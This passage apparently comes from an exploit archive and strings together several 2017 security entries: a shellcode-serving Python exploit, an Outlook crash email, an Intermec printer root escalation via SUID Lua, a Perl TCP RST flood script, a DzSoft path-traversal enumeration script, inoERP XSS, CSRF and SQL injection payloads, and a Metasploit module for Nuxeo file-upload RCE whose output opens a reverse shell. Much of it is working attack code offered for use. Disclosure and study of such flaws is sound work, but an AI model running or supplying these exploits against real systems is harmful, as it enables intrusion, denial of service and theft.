"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

exploit = overflow+eip+nop+shellcode

print "Listening on port:", port

while True:
    conn, addr = s.accept()     
    conn.send(exploit+'\r\n')
    conn.close()
    print ""
    print "Succesfully exploitation!"
            
Source: https://justhaifei1.blogspot.ca/2017/03/an-interesting-outlook-bug.html

When you send this email to someone, when he/she *just read* the email, Outlook will crash. MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file below.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
 <table>
  <tr height="1%">
  </tr>
 </table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
There seems to be a custom heap allocator, as I've seen heap block headers, and links.
The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41756.zip
            
# TITLE: Intermec Industrial Printers Local root with Busybox jailbreak

# Date: March 28th, 2017
# Author: Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security

# Product Homepage:
    http://www.intermec.com/products/prtrpm43a/

# Firmware download:
    http://www.intermec.com/products/prtrpm43a/downloads.aspx

# Tested on :
    model: PM43 RFID Industrial printer   
    firmware version: 10.10.011406
    kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux

# CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
# OVE ID: OVE-20170131-0001
# CVE ID: CVE-2017-5671
# OSVDB ID: n/a
 
# Thanks:
    Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter
    Honeywell team which was really reactive (with special thanks to Kevin Staggs) !

# Credits:
    The security notification that Intermec (Honeywell) sent to all of their dealers: 
     https://github.com/kmkz/exploit/blob/master/CVE-2017-5671-Credits.pdf 
  
# Additional ressource:
  https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak/
 
# Affected products:
    PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017
   
# Fixes:
    Download the new firmware version by using the link below:
    http://epsfiles.intermec.com/eps_files/eps_download/Firmware_P10.11.013310.zip

# Release note:
    http://apps.intermec.com/downloads/eps_download/Firmware%20Release%20Notes%20x10_11_013310.pdf
   
 
Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak
 
I. PRODUCT

PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.
 
II. ADVISORY
 
Using a bad file permission, it is possible to gain full root privilege on a PM43 industrial printer as well as from the admin account than it-admin which are the two default users on the machine.
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.
The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before  March 12th 2017).
 
III. VULNERABILITY DESCRIPTION
 
The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.
The default it-admin and/or admin credentials are available in the vendor's documentation and should be modified too.

IV. PROOF OF CONCEPT
 
Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:

itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/bin/busybox
/usr/bin/cfg
/usr/bin/lua <----- Lua binary with SUID perm.
/usr/bin/httpd_restore
/usr/bin/ikev2
/usr/bin/pwauth
/usr/bin/functest
/usr/bin/imecutil
/usr/bin/httpd_fwupgrade
/usr/sbin/setkey

We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:

itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4  Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)

So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):

// in the Lua interpreter:

> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::
admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::
itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::
user::11851:0:99999:7:::
ftp:*:11851:0:99999:7:::
nobody:*:11851:0:99999:7:::
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh
 
We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:

fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()

That gave us the following output:

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
   4 -rw-rw-r--    1 root     root           12 Jan 25 07:12 akerva

As explained in the above text, we then over-writed the "etc/shadow" file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).
 
V. RECOMMENDATIONS

AKERVA's Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.

VI. VERSIONS AFFECTED
 
This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.
 
VII. TIMELINE
 
January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (They also proposed me to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released
 
VIII. LEGAL NOTICES
 
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
#!/usr/local/bin/perl

use Socket;

$src_host =3D $ARGV[0];=20
$src_port =3D $ARGV[1];=20
$dst_host =3D $ARGV[2];=20
$dst_port =3D $ARGV[3];=20

if(!defined $src_host or !defined $src_port or !defined $dst_host or !defin=
ed $dst_port)=20
{
=09
=09print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";
=09exit;
}=20
else=20
{
=09
=09main();
}
=20
sub main=20
{
=09my $src_host =3D (gethostbyname($src_host))[4];
=09my $dst_host =3D (gethostbyname($dst_host))[4];
=09$IPROTO_RAW =3D 255;
=09socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW)=20
=09=09or die $!;
=09my ($packet) =3D makeheaders($src_host, $src_port, $dst_host, $dst_port)=
;
=09my ($destination) =3D pack('Sna4x8', AF_INET, $dst_port, $dst_host);
=09while(1)
=09{
=09=09send($sock , $packet , 0 , $destination)
=09=09=09or die $!;
=09}
}

sub makeheaders=20
{
=09$IPPROTO_TCP =3D 6;
=09local($src_host , $src_port , $dst_host , $dst_port) =3D @_;
=09my $zero_cksum =3D 0;
=09my $tcp_len =3D 20;
=09my $seq =3D 19456;
=09my $seq_ack =3D 0;
=09my $tcp_doff =3D "5";
=09my $tcp_res =3D 0;
=09my $tcp_doff_res =3D $tcp_doff . $tcp_res;
=09my $tcp_urg =3D 0;=20
=09my $tcp_ack =3D 0;
=09my $tcp_psh =3D 0;
=09my $tcp_rst =3D 1;
=09my $tcp_syn =3D 0;
=09my $tcp_fin =3D 0;
=09my $null =3D 0;
=09my $tcp_win =3D 124;
=09my $tcp_urg_ptr =3D 44;
=09my $tcp_flags =3D $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_=
rst . $tcp_syn . $tcp_fin ;
=09my $tcp_check =3D 0;
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $tcp_pseudo =3D pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TC=
P, length($tcp_header) ) . $tcp_header;
=09$tcp_check =3D &checksum($tcp_pseudo);
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $ip_ver =3D 4;
=09my $ip_len =3D 5;
=09my $ip_ver_len =3D $ip_ver . $ip_len;
=09my $ip_tos =3D 00;
=09my $ip_tot_len =3D $tcp_len + 20;
=09my $ip_frag_id =3D 19245;
=09my $ip_ttl =3D 25;
=09my $ip_proto =3D $IPPROTO_TCP;=09
=09my $ip_frag_flag =3D "010";
=09my $ip_frag_oset =3D "0000000000000";
=09my $ip_fl_fr =3D $ip_frag_flag . $ip_frag_oset;
=09my $ip_header =3D pack('H2CnnB16CCna4a4',=09$ip_ver_len, $ip_tos, $ip_to=
t_len, $ip_frag_id,=09$ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_=
host , $dst_host);
=09my $pkt =3D $ip_header . $tcp_header;
=09return $pkt;
}
sub checksum=20
{
=09my ($msg) =3D @_;
=09my ($len_msg,$num_short,$short,$chk);
=09$len_msg =3D length($msg);
=09$num_short =3D $len_msg / 2;
=09$chk =3D 0;
=09
=09foreach $short (unpack("S$num_short", $msg))=20
=09{
=09=09$chk +=3D $short;
=09}
=09
=09$chk +=3D unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;
=09$chk =3D ($chk >> 16) + ($chk & 0xffff);
=09
=09return(~(($chk >> 16) + $chk) & 0xffff);
}=20
            
[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DZSOFT-v4.2.7-PHP-EDITOR-FILE-ENUMERATION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==============
www.dzsoft.com



Product:
=========================
DzSoft PHP Editor v4.2.7

DzSoft PHP Editor is a tool for writing and testing PHP and HTML pages.



Vulnerability Type:
====================
File Enumeration




CVE Reference:
==============
N/A

 

Security Issue:
================
DzSoft comes with a built-in web server used to preview PHP files, the built-in web server is prone to file enumeration
attacks when combining "HEAD" method HTTP requests with directory traversal "\../../" type attacks. This can aid attackers
in information gathering (File enumeration) to help in possibly furthering attacks.

On install DzSoft users get Windows network warning like:

"Allow Dzsoft to communicate on these networks:"

Private networks, such as my home or work network

Public networks, such as those in airports and coffee shops (not recommended).

This selection will create Firewall rule and determine remote connections allowed to DzSoft editors built-in server.
Then when remote user make HTTP request to DzSoft they will get HTTP 403 Forbidden from the built-in web server. 

e.g.

curl  -v "http://VICTIM-IP/\../mysql/data/mysql.pid"


< HTTP/1.1 403 Forbidden
< Content-Type: text/html
< Content-Length: 1554
<
<HTML>
<HEAD>
  <TITLE>403 Forbidden</TITLE>
</HEAD>
<BODY>
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<H1>Forbidden</H1>
<p>For security reasons, you cannot access the built-in web server of DzSoft PHP Editor from another computer.</p>
<p>If you see this message within DzSoft PHP Editor's window, or if you think that there might be reasons to enable access from other computers,
</BODY>
</HTML>
* Connection #0 to host x.x.x.x left intact



However, this 403 Forbidden access control can be bypassed by malicious users to "stat" files in and outside the webroot.

e.g. mysql directory.

File enumeration Conditions: 

These setting is found under Run / Run Options / Paramaters tab

a) DZSoft built-in web server is running 
b) DZSoft built-in web servers "REMOTE_HOST=x.x.x.x" and "REMOTE_ADDR=x.x.x.x" is set to a real IP other than localhost.

For POC create and save a PHP file under XAMPP/htdocs and run DzSoft built-in web server in preview mode.

Next make request for "mysql/my-huge.ini" to see if exists.


C:\>curl  -v -I "http://VICTIM-IP/\../mysql/my-huge.ini"
*   Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../mysql/my-huge.ini HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 5057
Content-Length: 5057
< Cache-Control: no-cache
Cache-Control: no-cache


Checking for "mysql.pid"
/////////////////////////


C:\>curl  -v -I "http://VICTIM-IP/\../mysql/data/mysql.pid"
*   Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../mysql/data/mysql.pid HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 5
Content-Length: 5
< Cache-Control: no-cache
Cache-Control: no-cache
< Expires: 0


Checking for "xampp_shell.bat"
///////////////////////////////

C:\>curl  -v -I "http://VICTIM-IP/\../xampp_shell.bat"
*   Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../xampp_shell.bat HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 1084
Content-Length: 1084
< Cache-Control: no-cache


These also work...


[root@localhost local]# wget -S --spider  "http://VICTIM-IP:8080/\../mysql/my-huge.ini"
--10:26:21--  http://VICTIM-IP:8080/%5C../mysql/my-huge.ini
Connecting to VICTIM-IP:8080... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Content-Type: 
  Content-Length: 5057
  Cache-Control: no-cache
  Expires: 0
Length: 5057 (4.9K) []
200 OK


[root@localhost local]# wget -S --spider  "http://VICTIM-IP:8080/\../mysql/my-innodb-heavy-4G.ini"
--10:29:03--  http://VICTIM-IP:8080/%5C../mysql/my-innodb-heavy-4G.ini
Connecting to VICTIM-IP:8080... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Content-Type: 
  Content-Length: 20906
  Cache-Control: no-cache
  Expires: 0
Length: 20906 (20K) []
200 OK


Tested Windows XAMPP, Linux / curl
curl 7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5


//////////////////////////////////////////

Next, target files on C:\ Drive.

Bypass 401 Forbidden to enumerate a file on C:\ drive named "hi.txt"
wget "http://127.0.0.1:8088/c/hi.txt"  -c --header="Range: bytes=0"



Exploit/POC:
=============
In DZSoft PHP Editor

1) Change DzSoft web server options for remote address to IP other than localhost.
2) Create test PHP file deploy under xampp/htdocs or whatever Apache your using.
3) Start DzSofts built-in webserver to preview PHP file 

Then,


import socket

print 'DzSoft File Enumeration POC'
print 'Hyp3rlinx / ApparitionSec'

IP=raw_input("[IP]>")
PORT=int(raw_input("[PORT]>"))
DEPTH=int(raw_input("[DEPTH]>"))
FILE=raw_input("[FILE]>")
ENUM="HEAD "+"/\\"
ENUM+="../"*DEPTH+FILE+ " HTTP/1.0\r\n\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(ENUM)
print 'Enumerating file:'
print ENUM
output = s.recv(128)
print output
s.close()




Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
==================================
Vendor Notification: No reply
March 27, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
=== FOXMOLE - Security Advisory 2017-01-25 ===

inoERP  - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions
=================
inoERP 0.6.1

Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Session Fixation
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: inoERP
Vendor URL: http://inoideas.org/  /  https://github.com/inoerp/inoERP
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-01-25.txt
Advisory Status: Public
OVE-ID: OVE-20170126-0002
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)


Impact
======
There are multiple SQL Injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all applications.
The inoERP software also lacks in input validation resulting in different reflected/stored XSS vulnerabilities.


Issue Description
=================
The following findings are only examples, there are quite more. The whole application should be reviewed.

All items tested using FF52.

1.) Cross Site Scripting:
Stored:
Create a new Question in the -->Forum --> Ask a question
Vulnerable fields : Title, Content
Used Payload: Test<script>alert("xss")</script>

Response:
[...]
 <title>Test<script>alert("xss")</script> - inoERP!</title>
[...]

The latest questions are included in the start page which means the entered payload gets executed directly in the start page.

Reflected:
With Auth:
http://192.168.241.143/inoerp/form.php?class_name=%3CscRipt%3Ealert(%22xss%22)%3C%2fscRipt%3E&mode=9&user_id=7
http://192.168.241.143/inoerp/includes/json/json_blank_search.php?class_name=content&content_type_id=49&window_type=%22%3C/scRipt%3E%3CscRipt%3Ealert(%22xss%22)
%3C/scRipt%3E
http://192.168.241.143/inoerp/program.php?class_name=%3CscRipt%3Ealert(%22xss%22)%3C%2fscRipt%3E&program_name=prg_all_combinations&program_type=download_report

Unauthenticated:
http://192.168.241.143/inoerp/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(%22xss%22)%3C/scRipt%3E

2.) No protection against Cross Site Request Forgery Attacks:
PoC: Changing the admin user credentials.

<html>
<body>
    <form action="http://<IP>/inoerp/form.php?class_name=user" method="POST">
      <input type="hidden" name="headerData&#91;0&#93;&#91;name&#93;" value="user&#95;id&#91;&#93;" />
      <input type="hidden" name="headerData&#91;0&#93;&#91;value&#93;" value="1" />
      <input type="hidden" name="headerData&#91;1&#93;&#91;name&#93;" value="username&#91;&#93;" />
      <input type="hidden" name="headerData&#91;1&#93;&#91;value&#93;" value="inoerp" />
      <input type="hidden" name="headerData&#91;2&#93;&#91;name&#93;" value="enteredPassword&#91;&#93;" />
      <input type="hidden" name="headerData&#91;2&#93;&#91;value&#93;" value="test" />
      <input type="hidden" name="headerData&#91;3&#93;&#91;name&#93;" value="enteredRePassword&#91;&#93;" />
      <input type="hidden" name="headerData&#91;3&#93;&#91;value&#93;" value="test" />
      <input type="hidden" name="headerData&#91;4&#93;&#91;name&#93;" value="first&#95;name&#91;&#93;" />
      <input type="hidden" name="headerData&#91;4&#93;&#91;value&#93;" value="inoerp" />
      <input type="hidden" name="headerData&#91;5&#93;&#91;name&#93;" value="last&#95;name&#91;&#93;" />
      <input type="hidden" name="headerData&#91;5&#93;&#91;value&#93;" value="inoerp" />
      <input type="hidden" name="headerData&#91;6&#93;&#91;name&#93;" value="email&#91;&#93;" />
      <input type="hidden" name="headerData&#91;6&#93;&#91;value&#93;" value="inoerp&#64;no&#45;site&#46;com" />
      <input type="hidden" name="headerData&#91;7&#93;&#91;name&#93;" value="phone&#91;&#93;" />
[..snipped...]

If a privileged user activates the request, the admin user id=1 is set to "test".

3.) SQL Injection:
Auth required:No
#####
http://192.168.241.143/inoerp/form.php?
Parameter: module_code (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload: module_code=test' RLIKE (SELECT (CASE WHEN (2838=2838) THEN
0x74657374 ELSE 0x28 END))-- qkmO

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: module_code=test' AND (SELECT 8706 FROM(SELECT
COUNT(*),CONCAT(0x716b7a6271,(SELECT
(ELT(8706=8706,1))),0x7171626a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NPEq

    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: module_code=test';SELECT SLEEP(5)#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: module_code=test' OR SLEEP(5)-- STgC

Exploitable using e.g. SQLMAP

Blind SQL Injection:
sqlmap -u
"http://192.168.241.143/inoerp/content.php?content_type%5b%5d=test&search_text=3&search_document_list%5b%5d=all"
 -p "content_type%5b%5d" --dbms="MySQL"
Parameter: content_type[] (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: content_type[]=-8366' OR 7798=7798 AND
'eanR'='eanR&search_text=3&search_document_list[]=all

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: content_type[]=test' OR SLEEP(5) AND
'exIO'='exIO&search_text=3&search_document_list[]=all
#####

4.) Session Fixation:
After a successful login the SessionID PHPSESSID remains the same:
Before Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
After Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2




Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable inoERP systems until all vulnerabilities are fixed.



History
=======
2017-01-25  Issue discovered
2017-01-26  Vendor contacted -> no response
2017-02-20  Vendor contacted again -> no response
2017-03-06  Vendor contacted again -> no response
2017-03-27  Advisory Release


GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc
            
=begin
# Description

Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.

One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.

It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.

## Details

**CVE ID**: CVE-2017-5869

**Access Vector**: network

**Security Risk**: high

**Vulnerability**: CWE-434

**CVSS Base Score**: 8.8

**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

# Proof of Concept

Here is a metasploit module to exploit this vulnerability:

=end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'              => "Nuxeo Platform File Upload RCE",
            'Description'       => %q{
                The Nuxeo Platform tool is vulnerable to an authenticated remote code execution,
                thanks to an upload module.
            },
            'License'           => MSF_LICENSE,
            'Author'            => ['Ronan Kervella <r.kervella@sysdream.com>'],
            'References'        =>
                [
                    ['https://nuxeo.com/', '']
                ],
            'Platform'          => %w{linux},
            'Targets'           => [ ['Nuxeo Platform 6.0 to 7.3', 'Platform' => 'linux'] ],
            'Arch'              => ARCH_JAVA,
            'Privileged'        => true,
            'Payload'           => {},
            'DisclosureDate'    => "",
            'DefaultTarget'     => 0))
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the nuxeo application', '/nuxeo']),
                OptString.new('USERNAME', [true, 'A valid username', '']),
                OptString.new('PASSWORD', [true, 'Password linked to the username', ''])
            ], self.class)
    end

    def jsp_filename
        @jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp'
    end

    def jsp_path
        'nxserver/nuxeo.war/' + jsp_filename
    end

    def nuxeo_login
        res = send_request_cgi(
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/login.jsp')
        )

        fail_with(Failure::Unreachable, 'No response received from the target.') unless res
        session_cookie = res.get_cookies

        res = send_request_cgi(
            'method'    => 'POST',
            'uri'       => normalize_uri(target_uri.path, '/nxstartup.faces'),
            'cookie'    => session_cookie,
            'vars_post' => {
                'user_name'     => datastore['USERNAME'],
                'user_password' => datastore['PASSWORD'],
                'submit'        => 'Connexion'
            }
        )
        return session_cookie if res && res.code == 302 && res.redirection.to_s.include?('view_home.faces')
        nil
    end

    def trigger_shell
        res = send_request_cgi(
            'method'    => 'GET',
            'uri'       => normalize_uri(target_uri.path, jsp_filename)
        )
        fail_with(Failure::Unknown, 'Unable to get #{full_uri}/#{jsp_filename}') unless res && res.code == 200
    end

    def exploit
        print_status("Authenticating using #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
        session_cookie = nuxeo_login
        if session_cookie
            payload_url = normalize_uri(target_uri.path, jsp_filename)
            res = send_request_cgi(
                'method'    => 'POST',
                'uri'       => normalize_uri(target_uri.path, '/site/automation/batch/upload'),
                'cookie'    => session_cookie,
                'headers'    => {
                    'X-File-Name'   => '../../' + jsp_path,
                    'X-Batch-Id'    => '00',
                    'X-File-Size'   => '1024',
                    'X-File-Type'   => '',
                    'X-File-Idx'    => '0',
                    'X-Requested-With'  => 'XMLHttpRequest'
                },
                'ctype'             => '',
                'data' => payload.encoded
            )
            fail_with(Failure::Unknown, 'Unable to upload the payload') unless res && res.code == 200
            print_status("Executing the payload at #{normalize_uri(target_uri.path, payload_url)}.")
            trigger_shell
        else
            fail_with(Failure::Unknown, 'Unable to login')
        end
    end

end

=begin
Module output:

```bash
msf> use exploit/multi/http/nuxeo
msf exploit(nuxeo) > set USERNAME user1
USERNAME => user1
msf exploit(nuxeo) > set PASSWORD password
PASSWORD => password
msf exploit(nuxeo) > set rhost 192.168.253.132
rhost => 192.168.253.132
msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(nuxeo) > set lhost 192.168.253.1
lhost => 192.168.253.1
msf exploit(nuxeo) > exploit

[-] Handler failed to bind to 192.168.253.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Authenticating using user1:password
[*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp.
[*] Command shell session 1 opened (172.17.0.2:4444 ->
192.168.253.132:43279) at 2017-01-13 14:47:25 +0000

id
